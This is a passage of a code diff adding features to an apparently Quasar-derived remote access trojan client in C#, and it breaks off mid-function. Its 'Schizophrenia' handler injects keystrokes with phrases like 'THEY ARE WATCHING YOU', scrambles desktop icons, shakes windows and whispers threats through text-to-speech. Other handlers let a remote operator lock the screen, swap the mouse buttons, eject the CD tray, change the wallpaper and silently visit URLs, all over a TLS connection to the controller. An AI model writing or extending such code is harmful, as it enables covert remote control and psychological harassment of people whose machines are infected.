[DllImport("user32.dll")] private static extern IntPtr FindWindowEx(IntPtr parent, IntPtr child, string cls, string name);
|
||||||
|
[DllImport("user32.dll")] private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam);
|
||||||
|
[DllImport("user32.dll")] private static extern int GetWindowLong(IntPtr hWnd, int index);
|
||||||
|
[DllImport("user32.dll")] private static extern int SetWindowLong(IntPtr hWnd, int index, int value);
|
||||||
|
[DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint flags, int extra);
|
||||||
|
[DllImport("user32.dll")] private static extern short VkKeyScan(char ch);
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct RECT { public int Left, Top, Right, Bottom; }
|
||||||
|
|
||||||
|
private const int GWL_STYLE = -16;
|
||||||
|
private const int LVS_AUTOARRANGE = 0x0100;
|
||||||
|
private const int LVM_GETITEMCOUNT = 0x1004;
|
||||||
|
private const int LVM_SETITEMPOSITION = 0x100F;
|
||||||
|
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||||||
|
private const byte VK_SHIFT = 0x10;
|
||||||
|
|
||||||
|
private volatile bool _running;
|
||||||
|
private readonly object _startLock = new object();
|
||||||
|
|
||||||
|
private static readonly string[] Phrases =
|
||||||
|
{
|
||||||
|
"THEY ARE WATCHING YOU",
|
||||||
|
"i can hear you breathing",
|
||||||
|
"the walls are closing in",
|
||||||
|
"make it stop make it stop",
|
||||||
|
"WHO IS BEHIND YOU",
|
||||||
|
"you are not alone in here",
|
||||||
|
"i see everything you do",
|
||||||
|
"we have always been here",
|
||||||
|
"DO NOT TURN AROUND",
|
||||||
|
"hahahahahahahahaha",
|
||||||
|
"there is no escape",
|
||||||
|
"im inside the computer",
|
||||||
|
"WHAT WAS THAT NOISE",
|
||||||
|
"tick tick tick tick tick",
|
||||||
|
"get out get out get out",
|
||||||
|
"your eyes are lying to you",
|
||||||
|
"i counted your keystrokes today",
|
||||||
|
"the screen is watching back",
|
||||||
|
};
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoStartSchizophrenia || message is DoStopSchizophrenia;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
if (message is DoStartSchizophrenia) Start();
|
||||||
|
else if (message is DoStopSchizophrenia) Stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Start()
|
||||||
|
{
|
||||||
|
lock (_startLock)
|
||||||
|
{
|
||||||
|
if (_running) return;
|
||||||
|
_running = true;
|
||||||
|
}
|
||||||
|
Spawn(TypingChaos);
|
||||||
|
Spawn(DesktopScrambler);
|
||||||
|
Spawn(WindowShaker);
|
||||||
|
Spawn(RandomTTS);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Stop() => _running = false;
|
||||||
|
|
||||||
|
private void Spawn(ThreadStart ts)
|
||||||
|
{
|
||||||
|
var t = new Thread(ts) { IsBackground = true };
|
||||||
|
t.SetApartmentState(ApartmentState.STA);
|
||||||
|
t.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Typing chaos: types random phrases/garbage into focused window ---
|
||||||
|
|
||||||
|
private void TypingChaos()
|
||||||
|
{
|
||||||
|
var rng = new Random();
|
||||||
|
while (_running)
|
||||||
|
{
|
||||||
|
Thread.Sleep(rng.Next(3000, 9000));
|
||||||
|
if (!_running) break;
|
||||||
|
|
||||||
|
string text = rng.Next(3) == 0
|
||||||
|
? new string("!@#$%^&*".ToCharArray()[rng.Next(8)], rng.Next(3, 7))
|
||||||
|
: Phrases[rng.Next(Phrases.Length)];
|
||||||
|
|
||||||
|
foreach (char c in text)
|
||||||
|
{
|
||||||
|
if (!_running) break;
|
||||||
|
TypeChar(c);
|
||||||
|
Thread.Sleep(rng.Next(35, 110));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void TypeChar(char c)
|
||||||
|
{
|
||||||
|
short vk = VkKeyScan(c);
|
||||||
|
if (vk == -1) return;
|
||||||
|
byte key = (byte)(vk & 0xFF);
|
||||||
|
bool shift = ((vk >> 8) & 1) != 0;
|
||||||
|
if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
|
||||||
|
keybd_event(key, 0, 0, 0);
|
||||||
|
keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Desktop icon scrambler ---
|
||||||
|
|
||||||
|
private void DesktopScrambler()
|
||||||
|
{
|
||||||
|
var rng = new Random();
|
||||||
|
while (_running)
|
||||||
|
{
|
||||||
|
Thread.Sleep(rng.Next(10000, 22000));
|
||||||
|
if (!_running) break;
|
||||||
|
try { ScrambleIcons(rng); } catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void ScrambleIcons(Random rng)
|
||||||
|
{
|
||||||
|
IntPtr lv = GetDesktopListView();
|
||||||
|
if (lv == IntPtr.Zero) return;
|
||||||
|
|
||||||
|
// disable auto-arrange so icons actually move
|
||||||
|
int style = GetWindowLong(lv, GWL_STYLE);
|
||||||
|
SetWindowLong(lv, GWL_STYLE, style & ~LVS_AUTOARRANGE);
|
||||||
|
|
||||||
|
int count = (int)SendMessage(lv, (int)LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero);
|
||||||
|
if (count <= 0) return;
|
||||||
|
|
||||||
|
var screen = Screen.PrimaryScreen.WorkingArea;
|
||||||
|
for (int i = 0; i < count; i++)
|
||||||
|
{
|
||||||
|
int x = rng.Next(10, screen.Width - 90);
|
||||||
|
int y = rng.Next(10, screen.Height - 90);
|
||||||
|
IntPtr lParam = (IntPtr)((y << 16) | (x & 0xFFFF));
|
||||||
|
SendMessage(lv, LVM_SETITEMPOSITION, (IntPtr)i, lParam);
|
||||||
|
Thread.Sleep(25);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static IntPtr GetDesktopListView()
|
||||||
|
{
|
||||||
|
IntPtr progman = FindWindow("Progman", null);
|
||||||
|
IntPtr shell = FindWindowEx(progman, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||||||
|
if (shell != IntPtr.Zero)
|
||||||
|
return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);
|
||||||
|
|
||||||
|
// Win10+ uses WorkerW
|
||||||
|
IntPtr workerW = IntPtr.Zero;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
workerW = FindWindowEx(IntPtr.Zero, workerW, "WorkerW", null);
|
||||||
|
if (workerW == IntPtr.Zero) break;
|
||||||
|
shell = FindWindowEx(workerW, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||||||
|
if (shell != IntPtr.Zero)
|
||||||
|
return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);
|
||||||
|
} while (true);
|
||||||
|
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Window shaker: rapidly moves active window side to side ---
|
||||||
|
|
||||||
|
private void WindowShaker()
|
||||||
|
{
|
||||||
|
var rng = new Random();
|
||||||
|
while (_running)
|
||||||
|
{
|
||||||
|
Thread.Sleep(rng.Next(7000, 16000));
|
||||||
|
if (!_running) break;
|
||||||
|
|
||||||
|
IntPtr hwnd = GetForegroundWindow();
|
||||||
|
if (hwnd == IntPtr.Zero) continue;
|
||||||
|
if (!GetWindowRect(hwnd, out RECT r)) continue;
|
||||||
|
|
||||||
|
int ox = r.Left, oy = r.Top;
|
||||||
|
int w = r.Right - r.Left, h = r.Bottom - r.Top;
|
||||||
|
|
||||||
|
for (int i = 0; i < 24 && _running; i++)
|
||||||
|
{
|
||||||
|
int dx = (i % 2 == 0) ? 18 : -18;
|
||||||
|
MoveWindow(hwnd, ox + dx, oy + (i % 3 == 0 ? 6 : 0), w, h, false);
|
||||||
|
Thread.Sleep(35);
|
||||||
|
}
|
||||||
|
MoveWindow(hwnd, ox, oy, w, h, false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Random TTS: whispers creepy phrases out loud ---
|
||||||
|
|
||||||
|
private void RandomTTS()
|
||||||
|
{
|
||||||
|
var rng = new Random();
|
||||||
|
while (_running)
|
||||||
|
{
|
||||||
|
Thread.Sleep(rng.Next(18000, 40000));
|
||||||
|
if (!_running) break;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using (var ss = new SpeechSynthesizer())
|
||||||
|
{
|
||||||
|
ss.Volume = 100;
|
||||||
|
ss.Rate = rng.Next(-3, 4);
|
||||||
|
ss.Speak(Phrases[rng.Next(Phrases.Length)]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System.Speech.Synthesis;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class TextToSpeechHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
private readonly SpeechSynthesizer _synth = new SpeechSynthesizer();
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoTextToSpeech;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
if (message is DoTextToSpeech tts && !string.IsNullOrEmpty(tts.Text))
|
||||||
|
_synth.SpeakAsync(tts.Text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class TrollExtrasHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
[DllImport("user32.dll")] private static extern bool LockWorkStation();
|
||||||
|
[DllImport("user32.dll")] private static extern bool SwapMouseButton(bool fSwap);
|
||||||
|
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
|
||||||
|
private static extern int mciSendString(string command, StringBuilder ret, int len, IntPtr callback);
|
||||||
|
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||||
|
private static extern int SystemParametersInfo(uint uAction, uint uParam, string lpvParam, uint fuWinIni);
|
||||||
|
private const uint SPI_SETDESKWALLPAPER = 0x0014;
|
||||||
|
private const uint SPIF_UPDATEINIFILE = 0x0001;
|
||||||
|
private const uint SPIF_SENDCHANGE = 0x0002;
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) =>
|
||||||
|
message is DoLockScreen ||
|
||||||
|
message is DoCdTray ||
|
||||||
|
message is DoMouseSwap ||
|
||||||
|
message is DoSetWallpaper;
|
||||||
|
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
switch (message)
|
||||||
|
{
|
||||||
|
case DoLockScreen _: LockWorkStation(); break;
|
||||||
|
case DoCdTray m: new Thread(() => SpamCdTray(m.Count)) { IsBackground = true }.Start(); break;
|
||||||
|
case DoMouseSwap m: SwapMouseButton(m.Swap); break;
|
||||||
|
case DoSetWallpaper m: new Thread(() => ApplyWallpaper(m.ImageData)) { IsBackground = true }.Start(); break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Wallpaper ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private void ApplyWallpaper(byte[] data)
|
||||||
|
{
|
||||||
|
if (data == null || data.Length == 0) return;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// Must be a BMP file on disk — SystemParametersInfo doesn't accept raw bytes.
|
||||||
|
string path = Path.Combine(Path.GetTempPath(), "wp_" + Guid.NewGuid().ToString("N") + ".bmp");
|
||||||
|
using (var ms = new MemoryStream(data))
|
||||||
|
using (var img = System.Drawing.Image.FromStream(ms))
|
||||||
|
img.Save(path, System.Drawing.Imaging.ImageFormat.Bmp);
|
||||||
|
|
||||||
|
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── CD tray spam ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private static void SpamCdTray(int count)
|
||||||
|
{
|
||||||
|
count = Math.Max(1, Math.Min(count, 20));
|
||||||
|
for (int i = 0; i < count; i++)
|
||||||
|
{
|
||||||
|
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
|
||||||
|
Thread.Sleep(700);
|
||||||
|
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
|
||||||
|
Thread.Sleep(700);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Net;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class WebsiteVisitorHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
public bool CanExecute(IMessage message) => message is DoVisitWebsite;
|
||||||
|
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
switch (message)
|
||||||
|
{
|
||||||
|
case DoVisitWebsite msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender client, DoVisitWebsite message)
|
||||||
|
{
|
||||||
|
string url = message.Url;
|
||||||
|
|
||||||
|
if (!url.StartsWith("http"))
|
||||||
|
url = "http://" + url;
|
||||||
|
|
||||||
|
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
|
||||||
|
{
|
||||||
|
if (!message.Hidden)
|
||||||
|
Process.Start(url);
|
||||||
|
else
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
|
||||||
|
request.UserAgent =
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
|
||||||
|
request.AllowAutoRedirect = true;
|
||||||
|
request.Timeout = 10000;
|
||||||
|
request.Method = "GET";
|
||||||
|
|
||||||
|
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
client.Send(new SetStatus { Message = "Visited Website" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,612 @@
|
|||||||
|
using Quasar.Common.Extensions;
|
||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Security;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Security.Authentication;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Security.Cryptography.X509Certificates;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Networking
|
||||||
|
{
|
||||||
|
public class Client : ISender
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Occurs as a result of an unrecoverable issue with the client.
|
||||||
|
/// </summary>
|
||||||
|
public event ClientFailEventHandler ClientFail;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents a method that will handle failure of the client.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">The client that has failed.</param>
|
||||||
|
/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
|
||||||
|
public delegate void ClientFailEventHandler(Client s, Exception ex);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Fires an event that informs subscribers that the client has failed.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
|
||||||
|
private void OnClientFail(Exception ex)
|
||||||
|
{
|
||||||
|
var handler = ClientFail;
|
||||||
|
handler?.Invoke(this, ex);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Occurs when the state of the client has changed.
|
||||||
|
/// </summary>
|
||||||
|
public event ClientStateEventHandler ClientState;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents the method that will handle a change in the client's state
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">The client which changed its state.</param>
|
||||||
|
/// <param name="connected">The new connection state of the client.</param>
|
||||||
|
public delegate void ClientStateEventHandler(Client s, bool connected);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Fires an event that informs subscribers that the state of the client has changed.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="connected">The new connection state of the client.</param>
|
||||||
|
private void OnClientState(bool connected)
|
||||||
|
{
|
||||||
|
if (Connected == connected) return;
|
||||||
|
|
||||||
|
Connected = connected;
|
||||||
|
|
||||||
|
var handler = ClientState;
|
||||||
|
handler?.Invoke(this, connected);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Occurs when a message is received from the server.
|
||||||
|
/// </summary>
|
||||||
|
public event ClientReadEventHandler ClientRead;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents a method that will handle a message from the server.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">The client that has received the message.</param>
|
||||||
|
/// <param name="message">The message that has been received by the server.</param>
|
||||||
|
/// <param name="messageLength">The length of the message.</param>
|
||||||
|
public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Fires an event that informs subscribers that a message has been received by the server.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="message">The message that has been received by the server.</param>
|
||||||
|
/// <param name="messageLength">The length of the message.</param>
|
||||||
|
private void OnClientRead(IMessage message, int messageLength)
|
||||||
|
{
|
||||||
|
var handler = ClientRead;
|
||||||
|
handler?.Invoke(this, message, messageLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Occurs when a message is sent by the client.
|
||||||
|
/// </summary>
|
||||||
|
public event ClientWriteEventHandler ClientWrite;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents the method that will handle the sent message.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">The client that has sent the message.</param>
|
||||||
|
/// <param name="message">The message that has been sent by the client.</param>
|
||||||
|
/// <param name="messageLength">The length of the message.</param>
|
||||||
|
public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Fires an event that informs subscribers that the client has sent a message.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="message">The message that has been sent by the client.</param>
|
||||||
|
/// <param name="messageLength">The length of the message.</param>
|
||||||
|
private void OnClientWrite(IMessage message, int messageLength)
|
||||||
|
{
|
||||||
|
var handler = ClientWrite;
|
||||||
|
handler?.Invoke(this, message, messageLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The type of the message received.
|
||||||
|
/// </summary>
|
||||||
|
public enum ReceiveType
|
||||||
|
{
|
||||||
|
Header,
|
||||||
|
Payload
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer size for receiving data in bytes.
|
||||||
|
/// </summary>
|
||||||
|
public int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The keep-alive time in ms.
|
||||||
|
/// </summary>
|
||||||
|
public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The keep-alive interval in ms.
|
||||||
|
/// </summary>
|
||||||
|
public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The header size in bytes.
|
||||||
|
/// </summary>
|
||||||
|
public int HEADER_SIZE { get { return 4; } } // 4B
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The maximum size of a message in bytes.
|
||||||
|
/// </summary>
|
||||||
|
public int MAX_MESSAGE_SIZE { get { return (1024 * 1024) * 50; } } // 50MB
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets if the client is currently connected to a server.
|
||||||
|
/// </summary>
|
||||||
|
public bool Connected { get; private set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The stream used for communication.
|
||||||
|
/// </summary>
|
||||||
|
private SslStream _stream;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The server certificate.
|
||||||
|
/// </summary>
|
||||||
|
private readonly X509Certificate2 _serverCertificate;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer for incoming messages.
|
||||||
|
/// </summary>
|
||||||
|
private byte[] _readBuffer;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer for the client's incoming payload.
|
||||||
|
/// </summary>
|
||||||
|
private byte[] _payloadBuffer;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The queue which holds messages to send.
|
||||||
|
/// </summary>
|
||||||
|
private readonly Queue<IMessage> _sendBuffers = new Queue<IMessage>();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines if the client is currently sending messages.
|
||||||
|
/// </summary>
|
||||||
|
private bool _sendingMessages;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Lock object for the sending messages boolean.
|
||||||
|
/// </summary>
|
||||||
|
private readonly object _sendingMessagesLock = new object();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The queue which holds buffers to read.
|
||||||
|
/// </summary>
|
||||||
|
private readonly Queue<byte[]> _readBuffers = new Queue<byte[]>();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines if the client is currently reading messages.
|
||||||
|
/// </summary>
|
||||||
|
private bool _readingMessages;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Lock object for the reading messages boolean.
|
||||||
|
/// </summary>
|
||||||
|
private readonly object _readingMessagesLock = new object();
|
||||||
|
|
||||||
|
// Receive info
|
||||||
|
private int _readOffset;
|
||||||
|
private int _writeOffset;
|
||||||
|
private int _readableDataLen;
|
||||||
|
private int _payloadLen;
|
||||||
|
private ReceiveType _receiveState = ReceiveType.Header;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The mutex prevents multiple simultaneous write operations on the <see cref="_stream"/>.
|
||||||
|
/// </summary>
|
||||||
|
private readonly Mutex _singleWriteMutex = new Mutex();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor of the client, initializes serializer types.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="serverCertificate">The server certificate.</param>
|
||||||
|
protected Client(X509Certificate2 serverCertificate)
|
||||||
|
{
|
||||||
|
_serverCertificate = serverCertificate;
|
||||||
|
_readBuffer = new byte[BUFFER_SIZE];
|
||||||
|
TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Attempts to connect to the specified ip address on the specified port.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ip">The ip address to connect to.</param>
|
||||||
|
/// <param name="port">The port of the host.</param>
|
||||||
|
protected void Connect(IPAddress ip, ushort port)
|
||||||
|
{
|
||||||
|
Socket handle = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Disconnect();
|
||||||
|
|
||||||
|
handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
|
||||||
|
handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
|
||||||
|
handle.Connect(ip, port);
|
||||||
|
|
||||||
|
if (handle.Connected)
|
||||||
|
{
|
||||||
|
_stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate);
|
||||||
|
_stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false);
|
||||||
|
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
|
||||||
|
OnClientState(true);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
handle.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
handle?.Dispose();
|
||||||
|
OnClientFail(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Validates the server certificate by comparing it with the included server certificate.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="sender">The sender of the callback.</param>
|
||||||
|
/// <param name="certificate">The server certificate to validate.</param>
|
||||||
|
/// <param name="chain">The X.509 chain.</param>
|
||||||
|
/// <param name="sslPolicyErrors">The SSL policy errors.</param>
|
||||||
|
/// <returns>Returns <value>true</value> when the validation was successful, otherwise <value>false</value>.</returns>
|
||||||
|
private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
|
||||||
|
{
|
||||||
|
#if DEBUG
|
||||||
|
// for debugging don't validate server certificate
|
||||||
|
return true;
|
||||||
|
#else
|
||||||
|
var serverCsp = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key;
|
||||||
|
var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key;
|
||||||
|
// compare the received server certificate with the included server certificate to validate we are connected to the correct server
|
||||||
|
return _serverCertificate.Equals(certificate);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
private void AsyncReceive(IAsyncResult result)
|
||||||
|
{
|
||||||
|
int bytesTransferred;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
bytesTransferred = _stream.EndRead(result);
|
||||||
|
|
||||||
|
if (bytesTransferred <= 0)
|
||||||
|
throw new Exception("no bytes transferred");
|
||||||
|
}
|
||||||
|
catch (NullReferenceException)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch (ObjectDisposedException)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
Disconnect();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] received = new byte[bytesTransferred];
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Array.Copy(_readBuffer, received, received.Length);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
OnClientFail(ex);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
lock (_readBuffers)
|
||||||
|
{
|
||||||
|
_readBuffers.Enqueue(received);
|
||||||
|
}
|
||||||
|
|
||||||
|
lock (_readingMessagesLock)
|
||||||
|
{
|
||||||
|
if (!_readingMessages)
|
||||||
|
{
|
||||||
|
_readingMessages = true;
|
||||||
|
ThreadPool.QueueUserWorkItem(AsyncReceive);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
|
||||||
|
}
|
||||||
|
catch (ObjectDisposedException)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
OnClientFail(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void AsyncReceive(object state)
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
byte[] readBuffer;
|
||||||
|
lock (_readBuffers)
|
||||||
|
{
|
||||||
|
if (_readBuffers.Count == 0)
|
||||||
|
{
|
||||||
|
lock (_readingMessagesLock)
|
||||||
|
{
|
||||||
|
_readingMessages = false;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
readBuffer = _readBuffers.Dequeue();
|
||||||
|
}
|
||||||
|
|
||||||
|
_readableDataLen += readBuffer.Length;
|
||||||
|
bool process = true;
|
||||||
|
while (process)
|
||||||
|
{
|
||||||
|
switch (_receiveState)
|
||||||
|
{
|
||||||
|
case ReceiveType.Header:
|
||||||
|
{
|
||||||
|
if (_payloadBuffer == null)
|
||||||
|
_payloadBuffer = new byte[HEADER_SIZE];
|
||||||
|
|
||||||
|
if (_readableDataLen + _writeOffset >= HEADER_SIZE)
|
||||||
|
{
|
||||||
|
// completely received header
|
||||||
|
int headerLength = HEADER_SIZE - _writeOffset;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength);
|
||||||
|
